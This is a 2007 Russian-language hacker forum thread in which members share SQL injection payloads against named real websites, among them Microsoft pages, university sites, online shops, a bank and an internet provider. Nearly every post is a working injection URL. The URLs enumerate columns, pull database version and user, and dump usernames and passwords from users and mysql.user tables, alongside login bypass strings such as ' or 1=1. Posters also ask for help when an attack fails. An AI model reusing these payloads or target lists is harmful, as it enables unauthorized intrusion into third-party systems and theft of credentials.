SQL Инъекции

07.08.2007, 19:21

1ten0.0net1

Time out

Регистрация: 28.11.2005

Сообщений: 547

С нами: 10762826

Репутация: 1348

http://www.microsoft.su/site.php?num=-666+union+select+1,2,CONCAT(user(),CHAR(32,58,32), version(),CHAR(32,58,32),database()),4,5,6,7,8,9,0 ,1,2--

𝕏 Twitter Reddit Telegram Копировать ссылку

__________________
Нельзя считать себя достаточно взрослым, если у тебя школьные фотографии - цифровые.

07.08.2007, 20:16

1ten0.0net1

Time out

Регистрация: 28.11.2005

Сообщений: 547

С нами: 10762826

Репутация: 1348

http://netscan.research.microsoft.com/AuthorMetrics.aspx?sDT=5/31/2007&sNG=soc.culture.usa'+and(1=1)--&sTP=10

http://netscan.research.microsoft.com/AuthorMetrics.aspx?sDT=5/31/2007&sNG=soc.culture.usa'+order+by+25--&sTP=10

UNION что-то не получается...

__________________
Нельзя считать себя достаточно взрослым, если у тебя школьные фотографии - цифровые.

08.08.2007, 06:28

SWAT

Участник форума

Регистрация: 14.12.2006

Сообщений: 211

С нами: 10214321

Репутация: 552

Код:

http://free-keywords.com/order/cart/index.php?maincat_id=-1+union+select+1/*

Код:

http://gregorypacks.com/prod.php?ID=-6+UNION+SELECT+1,2,username,userpass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52+from+users/*

Код:

http://www.atwebresults.com/scriptstore/cart/index.php?maincat_id=-1+union+select+VERSION()/*

Последний раз редактировалось SWAT; 08.08.2007 в 15:22..

08.08.2007, 16:52

Barney

Участник форума

Регистрация: 11.01.2007

Сообщений: 125

С нами: 10173287

Репутация: 27

http://www.hampshire.edu/cms/index.php?id=4650'+union+select+1,2,3,4,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22/*
=\

09.08.2007, 06:51

Calcutta

Постоянный

Регистрация: 06.08.2007

Сообщений: 347

С нами: 9875796

Репутация: 770

http://p-pm.net/partners/?p=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*
подобрал число колонок в таблице (13)
пробовал дальше так как описано в мануалах - ничео не смог вытащить. мож у кого другого получится? (скинул в асю знакомый на сайт с и-нет заработком, а я решил на sql ошибки проверить)

Последний раз редактировалось Calcutta; 09.08.2007 в 06:56..

09.08.2007, 12:06

$n@ke

Постоянный

Регистрация: 18.09.2006

Сообщений: 867

С нами: 10339586

Репутация: 1396

.EDU

Цитата:

http://siovizcenter.ucsd.edu/library/objects/detail.php?ID=1+union+select+1,2,3,4,5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20,21,22,23,24/*

09.08.2007, 13:50

x.Elf

Познающий

Регистрация: 24.05.2007

Сообщений: 38

С нами: 9982591

Репутация: 29

http://bin.ru/office_location.php?office_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,table_na me,14,AES_DECRYPT(AES_ENCRYPT(version(),%20%200x71 ),0x71),16,17,18,19+from+information_schema.tables +limit+1,1/*

http://www.yaruse.ru/main.php?page=cvetmet&top=-1+union+select+CONCAT(user,CHAR(32,124,124,32),pas sword),2,3,4,5,6+from+mysql.user/*

http://hns.cm.ru/ доступ к форуму и партнерам:
' or 'a'='a

Последний раз редактировалось x.Elf; 09.08.2007 в 14:10..

09.08.2007, 14:08

kair

Участник форума

Регистрация: 12.10.2006

Сообщений: 158

С нами: 10305026

Репутация: 187

http://www.wanderinggoblin.com/literaturedetail.php?id=430%20union%20select%201,2 ,3,concat(version(),char(58),user(),char(58),datab ase(),char(58),password,char(58),user),5,6%20from% 20mysql.user/*

Последний раз редактировалось kair; 09.08.2007 в 14:19..

09.08.2007, 15:26

x.Elf

Познающий

Регистрация: 24.05.2007

Сообщений: 38

С нами: 9982591

Репутация: 29

БАНК
http://www.moneyburg.ru/
Надо поглубже его проанализировать конечно:
Вход :
login:1' or 1=1/*
pass:неважно

ПРОВАЙДЕР
uralsmart.ru
Опять таки mssql.
Я вижу что скл ругается ......еще вижу строки логин пасс и ввожу запрос типа:
' or 'a'='a
" or 1=1--
or 1=1--
а тока ругается -ХЕЛП

ну и еще:
http://www.chermet-s.ru/mess/?i=1&ii=-1+union+select+1,VERSION(),table_name,4,5,6,7,8+fr om+information_schema.tables/*

Последний раз редактировалось x.Elf; 09.08.2007 в 15:37..

#10

09.08.2007, 15:45

Barney

Участник форума

Регистрация: 11.01.2007

Сообщений: 125

С нами: 10173287

Репутация: 27

и вот опять чо то не выходт...
http://journalism.berkeley.edu/events/details.php?ID=394'+union+select+1,2,3,4,5,6,7,8/*